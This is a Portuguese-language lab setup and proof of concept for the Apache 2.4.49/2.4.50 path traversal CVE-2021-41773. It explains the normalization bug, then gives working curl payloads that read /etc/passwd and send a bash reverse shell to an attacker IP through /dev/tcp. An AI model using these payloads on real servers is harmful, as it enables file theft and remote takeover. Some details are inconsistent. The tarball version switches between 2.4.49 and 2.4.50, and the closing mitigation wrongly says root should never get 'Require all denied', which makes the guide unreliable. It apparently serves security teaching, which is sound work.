
A documentação do POC e da configuração do Lab para o CVE 2021 41773
A documentação do POC e configuração do laboratório do CVE 2021 41773
CVE-2021-41773 é uma vulnerabilidade de path traversal no servidor Apache HTTP 2.4.49 e 2.4.50. Esta vulnerabilidade explora uma atualização no código de normalização de caminho introduzida nesta versão.
A Função de Normalização de Caminho:
Normalmente, a normalização de caminho filtra o caminho da URL para um formato
padrão, a fim de impedir ações maliciosas de adversários.
O Apache HTTP Server 2.4.49 introduziu uma alteração na função ap_normalize_path que se tornou a causa raiz desta vulnerabilidade.
Se observarmos o código fonte, podemos notar que a função itera por cada caractere na URL fornecida e aplica a sanitização.
Mas a vulnerabilidade está presente na seção do código onde é feita a decodificação de URL. A função é simples, ela apenas decodificará o caractere codificado na URL.
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decodifica o caractere percent-encoded
const char c = x2c(&path[l + 1]);
// Verifica se o caractere decodificado é alfanumérico ou um dos símbolos permitidos
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Substitui o último caractere pelo decodificado e atualiza a posição
l += 2;
path[l] = c;
}
}
O problema aqui é que ele lida apenas com o primeiro ponto . na URL, o que significa que, se ao invés de ../ , fornecermos .%2e/, o servidor decodificará o %2e como ponto, resultando em ../.
Caso normal:
Entrada URL: http://target/cgi-bin/../../etc/passwd
Passos da Normalização de Caminho:
1. Detecta ../ -> Tenta navegar um diretório acima.
2. Função de normalização -> remove ou bloqueia ../
Caso vulnerável:
Entrada URL: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Passos da Normalização de Caminho:
1. Decodifica %2e para . -> O resultado é ./.././../etc/passwd
2. Normalização Parcial -> Não reconhece .%2e/ como equivalente a ../
3. Path Traversal não é totalmente bloqueado.
Caminho resultante: /etc/passwd (Acesso Concedido)
Este problema torna-se perigoso e explorável quando combinado com diretivas do servidor. Estas atuam como regras para o comportamento do servidor Apache.
A configuração Require all granted permitirá que todas as requisições acessem explicitamente os recursos dentro do DocumentRoot.
<Directory />
AllowOverride None
Require all granted # Configuração deliberadamente vulnerável, aqui geralmente é negado
</Directory>
Se o servidor estiver configurado com a diretiva Require all granted no nível raiz, isso torna todo o sistema de arquivos publicamente acessível.
O diretório cgi-bin no Apache é, por padrão, um diretório alias com a diretiva Require all granted, que permite acesso público, significando que todos podem solicitar ao diretório /usr/local/apache2/cgi-bin/.
Combinando a falha lógica na função ap_normalize_path que permite a bypass do path traversal e uma diretiva Require all granted mal configurada no servidor, atacantes podem acessar arquivos no sistema de arquivos do servidor fora dos diretórios pretendidos.
Esta vulnerabilidade pode ser ainda mais explorada levando à Execução Remota de Código se o mod_cgi estiver habilitado no servidor.
Por padrão, este módulo não está habilitado no Apache HTTPD, o que significa que a versão padrão não é vulnerável a RCE.
mod_cgi permite a execução de scripts CGI (Common Gateway Interface) no servidor e o retorno da saída ao cliente; é usado principalmente para fornecer recursos dinâmicos a sites.
Baixe a versão vulnerável do apache (Baixando do archive pois a versão vulnerável não está disponível para instalação direta):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
Instale as dependências:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Descompacte o arquivo vulnerável do apache e configure-o:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
Após terminar com sucesso, vá para o arquivo de configuração do apache:
sudo nano /usr/local/apache2/conf/httpd.conf
Adicione o seguinte no arquivo de configuração:
ServerName 127.0.1.1
Inicie os serviços do apache:
sudo /usr/local/apache2/bin/apachectl start
Navegue até o diretório padrão do servidor web:
cd /usr/local/apache2/htdocs
nota: normalmente o diretório raiz do apache é /var/www/html, aqui é /usr/local/apache2/htdocs porque não instalamos o servidor a partir da fonte, podemos torná-lo /var/ww/html se quisermos. Mas vou mantê-lo como está por enquanto.
Crie um site estático básico:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
Edite a configuração do Apache para simular a vulnerabilidade:
sudo nano /usr/local/apache2/conf/httpd.conf
Faça uma alteração nesta parte do arquivo de configuração para que a vulnerabilidade possa ser explorada:
<Directory />
AllowOverride None
Require all granted # Configuração deliberadamente vulnerável, aqui geralmente é negado
</Directory>
Agora inicie o servidor apache:
sudo /usr/local/apache2/bin/apachectl start
Acesse o site vulnerável digitando:
http://<vm-ip>
O laboratório está pronto, agora vamos ver como a exploração funciona:
Esta requisição curl invocará a vulnerabilidade:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
Podemos acessar o arquivo /etc/passwd ou qualquer outro arquivo no sistema desta forma.
Vamos tentar a injeção de comandos e tentar obter um reverse shell:
Na máquina do atacante, configure um listener netcat:
nc -lvnp 4444
Agora envie o Bash one line via requisição curl para a vítima:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
Isso nos dará acesso ao shell.
Como nas versões 2.4.49 e versão 2.4.50, a mitigação recomendada é atualizar para a versão mais recente.
Se a atualização não for uma opção, é aconselhável auditar os diretórios para restringir o acesso público:
As diretivas Require all denied devem ser implementadas em todos os diretórios não destinados ao acesso público e nunca no diretório raiz.
O diretório /cgi-bin deve ser configurado com a diretiva Require all denied e não deve ser definido como um alias.